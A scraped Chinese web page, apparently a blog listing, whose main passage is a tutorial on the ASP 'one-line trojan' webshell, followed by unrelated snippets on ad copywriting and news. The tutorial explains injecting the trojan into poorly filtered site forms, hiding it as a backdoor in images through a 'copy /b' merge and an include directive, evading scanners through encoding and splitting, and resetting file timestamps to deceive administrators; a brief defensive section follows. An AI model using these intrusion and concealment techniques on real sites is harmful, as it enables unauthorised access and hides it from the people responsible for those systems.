    好,现在大家都知道了各个函数的意思,那我就把一句话木马的工作原理给大家讲一下:通过服务端的request('fk')的作用是读取客户端文件中第一个文本框中的内容(name值被命名为lygf的部分),然后通过Execute函数或eval函数执行其内容,之后的过程我都在上面说明了,写入大马,就得到了我们想要的webshell

    二:应用篇

    下面我们就来谈谈一句话asp木马的应用,大家应该都回用吧!哈哈

    1.入侵:把一句话插入任何以asp结尾的文件中就能实现入侵。网上很多程序中或者是留言本或者是评论或者是申请表单等等吧,凡是想服务器提交数据的页面只要存在着数据过滤不严,可以插入一句话,大多都能入侵。但我们首先需要做的是,要确认它的数据库必须是以asp结尾的,并且要知道它的数据库路径。如果失败了,大家要自己找一下原因:可能是一句话被包围在一个函数内了(结束它),可能是被过滤<% %>,那大家就可以选择第四个服务端,还有我们可以吧一句话拆分,URLENCODE转换,代码加密等等,大家自由发挥吧!改了文件后要用海洋把文件最后修改时间改回去,这样可以骗过一些管理员!哈哈

    2.后门:用它做后门简直太爽了,平时我们用的木马用专业的asp木马查找工具都是可以轻而易举的查出来的,用它做后门就不容易查处来了,因为它可以变形啊,拆分,URLENCODE转换,代码加密等等。可以把它放在asp网页的页首、页尾,不过可能导致页面不正常,容易被发现;可以放在asp页面的空函数内,实验了可以用,页面也正常;可以放在任何文件里面(图片、文本、压缩文件等),建议用图片,因为数量多,不易被发现,把它插入到图片后在一个asp页面中写入<!--#include file="***/****.***" -->后面省略的是你插入的文件的地址,也可以用copy命令使图片与asp文件合二为一copy 1.gif /b + asp.asp /a asp.gif参数/b 是指定以二进制格式复制、合并文件。参数/a 是指定以ascll格式复制、合并文件。还有很多期待发现的方法,只要能想就能做,心有多大世界就有多大,哈哈(比如一台主机我们可以给它架设IIS或微型IIS,后用一句话留后门,一句化在加上系统、只读、隐藏的属性,把文件夹放深一点,就差不多了)。改了文件后要用海洋把文件最后修改时间改回去,这样可以骗过一些管理员!哈哈

    三:防范篇

    1.是要隐藏网站的数据库,不要让攻击者知道数据库文件的链接地址,把数据库放深一点,名字起的奇怪一点。

    2.防止暴库,在数据库连接文件中加入容错代码、设置好IIS转向错误页面等

    3.防止用户提交的数据未过滤漏洞,对用户提交的数据进行过滤,替换一些危险的代码等,比较好的方法就是过滤<>,现在TX就过滤这个东西,导致我们不能DIY了

    另外要注意的是:因为一句话木马调用了Adodb.Stream组件所以如果服务器端禁止Adodb.Stream组件是不会写入成功的!还有就是权限的问题,如果当前的虚拟目录禁止user组或者everyone写入操作的话那么也是不会成功的,不过这种情况很少见,一般都会有写的权限的!


    但愿本文对你有所帮助,大家也可以到我的博客与我讨论,祝愿大家都能DIY出自己的一句话!
     
    展开全文
  •  第一句话应该因其简短且易读而让人非注意到不可。不要用很长的多音节单词,要删繁就简,使之朗朗上口,意犹未尽,这样读者就必须去阅读第二句了。文案中第一句话的唯一目的就是为了让读者读第二句。 文案开篇...

     一则广告里的所有元素首先都是为了一个目的存在:使读者阅读这篇文案的第一句话,仅此而已

     第一句话应该因其简短且易读而让人非注意到不可。不要用很长的多音节单词,要删繁就简,使之朗朗上口,意犹未尽,这样读者就必须去阅读第二句话了。文案中第一句话的唯一目的就是为了让读者读第二句话。

        文案开篇那些句子的唯一目的就是让读者能够接二连三地读下去。

    展开全文
  • 每天三分钟,知晓天下事,简短一句话新闻早餐,碎片化时间了解新鲜事! 【365资讯简报】每天三分钟,知晓天下事!2021年1月5日 星期二 农历十一月廿二 今日小寒 1、未来十天,三股冷空气组团来袭,20省区市气温或破...
  • 一种关于一句话木马的更新思想

    千次阅读 2007-01-22 14:27:00
    一种关于一句话木马的更新思想from: http://my.opera.com/zvrop这篇文章大概是涉及到了web,注入,一句话木马,很多人觉得做脚本小子,黑别人网站有点低级和为之不齿.更多名门正派老字号的黑客都不削于这种技术....哈哈...
  • 项目经验一句话总结

    千次阅读 2010-09-08 19:48:00
    1.对内项目团队和谐最重要,对外客户关系最重要 2.对业务要有充分的了解 3.数据库表的主键应该是没有业务关系的 4.不必完全循守3个范式 5.数据库设计尤其重要 6....
  • 终于找到组织了后半 我的职业生涯始于汽车行业,当时是培训经销商零售销售人员。 在每次研讨会之前,我都会询问每个汽车销售人员,他们认为自己的工作是什么(即涉及的具体任务)以及他们认为“成功的天”...
  • 很伤感的一句话,让人思考...

    千次阅读 2005-03-17 01:57:00
    上网无聊,正郁闷的时候,却看到了这样一句自己觉得很经典的:“和他(她)在一起不怕去死,也不怕活下去...” 多伤感,多美丽的一句话!几个字足够我们每个人品味一辈子...每个人对这句的第一印象都不同吧。我且...
  • 我记得又次参加无线某子产品线年度大会,总裁说了三句话:1,感谢大家一年的辛苦付出,让大家加班太多,十分愧疚;2,问题都在主席台,根因就在前三排,根因在我;3,新的一年,大家一起提升效率,减少加班,多陪...
  • 简短励志程序员口号 从领导团队的工程师到领导经理的所有新经理都有个共同点,那就是沮丧。 位这样的经理曾经将他的第次经历与陷入个永无休止的双摆中相提并论-开始很难控制并且非常耗能。 技术领导力...
  • 知乎上那些简短而精辟的对话

    千次阅读 2014-08-25 09:29:33
    知乎上那些简短而精辟的对话  为什么楚霸王项羽会乌江自刎?... 帮你扛过苦难的一句话是什么?  三年以后这还重要吗?  你最希望你年轻的时候本该知道哪些道理或者懂得哪些事情?  内心的感受
  • 由于都是简单的按照我自己的理解写的,且只有简短的几句话,因此并不适合于通过我的文章学习算法。简单来说就是本博目的是给“我”做个算法提醒,由于时间和能力有限并没有惠及到其他想学习本算法的同学。特此致歉。...
  • 言归简短,书归正传。 关于帧同步实际的做法,网上大把,但是写这些文章的人并没有真正的为读者考虑。 很多人看了之后,似懂非懂。 那为什么不懂呢? 先不说别的,这里有几个在帧同步模型里的关键术语要搞...
  • 手机设置无标题后,总是挂掉,最初以为是布局的问题,换了还是不中,然后新建个工程,发现还是不中!怎么回事?我以前是搞过着的啊,原来设置全屏无标题,这些语句一定要设在setContentView前面!谨记啊! 还是对...
  • 读他:男人最怕听的十句话

    千次阅读 2005-01-06 08:02:00
    男人总觉得自己无所不能,坚强无比,但有几简单的,就能叫他冷汉直冒,不知所措。“你想什么呢?” 男人最怕女人入侵他们的脑袋,他又不想让你生气,所以回答也不是,不回答也不是。面对他的尴尬,你会觉得自己...
  • 知乎上的100条简短深刻的回答

    千次阅读 2016-12-07 17:43:05
    1、怎么定义「想清楚了」? “想清楚了”就是以后出了什么问题你只能找个没人的地方抽自己,再也不能抱怨...思想决定了我是否会票否决掉她的脸蛋和身材。 4、「别让孩子输在起跑线上」有道理吗? 一辈子都要和
  • 知乎上那些简短却非常深刻的回答

    千次阅读 2016-09-19 15:27:45
    1、怎么定义「想清楚了」?“想清楚了”就是以后出了什么问题你...思想决定了我是否会票否决掉她的脸蛋和身材。4、「别让孩子输在起跑线上」有道理吗?一辈子都要和别人去比较,是人生悲剧的源头。5、做哪些事情可
  • 刚开始接触ruby,作为个以JAVA开发为主的程序员,ruby的代码风格多少让我有点不太适应,也许习惯了复杂的风格,再简单起来就比较困难了吧, 看来没有其他语言牵绊的,学起ruby应该更快。 今天看了下ruby中的...
  • 一句话概括倒挂这个现象:社招薪资上涨速度,赶不上校招薪资上调速度。 倒挂是一种现象,今天不想和大家讨论这种现象的褒贬,主要是和大家聊聊:被倒挂后,同为打工人的我们能做什么? 这个问题很好回答:涨薪。打工...
  • 五年了,我在 CSDN 的两个百万。

    万次阅读 多人点赞 2021-04-16 00:24:00
    句话怎么说来着:爬虫玩得好,牢饭吃到饱。 曾经写过关于破解爱奇艺、腾讯 VIP 视频的文章,现在这篇文章已经被下掉了。 原因是爱奇艺把 CSDN 投诉了。 律师函警告! 虽然,写的文章都是以学习知识为目的,但这类...
  • #include #include #include #include #include using namespace std; const int MAX_SIZE = 1000100; /** 【0.9%】SPOJ7758 Grwoing Strings 解题报告 +... ——果然智商捉急的就要WA到死才能AC啊人生来不是给
  • 次“民间”的毕业生离校座谈,毕业生为在校生留下真心
  • 1、怎么定义「想清楚了」? “想清楚了”就是以后出了什么问题你只能找个没人的地方抽自己,再也...思想决定了我是否会票否决掉她的脸蛋和身材。 4、「别让孩子输在起跑线上」有道理吗? 一辈子都要和别人去比...
  •  在学长的建议中,前半“编程重在思想”说对了,“关键不是做的多不多的问题”也对,但是他是要讲给位做编程题做不下去的学弟学妹,最多算对一半。我要对此更正:要建立编程思想,离不开足量的实践。大学的各门...
  • 试图用一句话就来总结复杂的人生,是没有希望的。 [如果没有月亮的,人类文明会有何不同?] 没有人类。 [如何征服全宇宙?] 征服自己。 [能写出非常优秀的段子的赖宝为什么会得抑郁症?] 因为喜剧演员...
  • 国际贸易往来,开发信必不可少,在我们发邮件之前,首先是设置开发信的主题和内容今天我来分享下我日常写开发信以及主题的...1.主题要简短,不宜过长,切记不要长长的一句话。 2.主题要能真反映文章的内容,切忌...
  • 作者:陈勇出处:blog.csdn.net/cheny_com 这是编码简单性系列中的其中篇,之前几篇包括代码篇和语义篇。因为要积累案例,会随时更新。 之前提到:编码简单性的“心法”就是:只要屏幕上有任何两部分代码看上去...
  • VSS数据从台服务器移动到另

    千次阅读 2010-08-11 09:48:00
    简短一句话,这种情况,只需要把vss共享文件复制过来就可以了! 之后就可以连接了,设置好路径,在连接的时候出现了一个 Access to file "rights.dat" denied的错误。 原来是共享文件可写权限没有释放,操作如下: ...
  • 在Linux开发中,开发者为了能够了解Linux的进程启动过程或者启动顺序,往往需要借助一些工具或日志,今天这篇简短的文章就是介绍编译个Linux开机启动脚本,记录各个进程模块的启动时间以及顺序。准备任务,在Linux...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 26,932
精华内容 10,772
关键字:

一句美好简短的话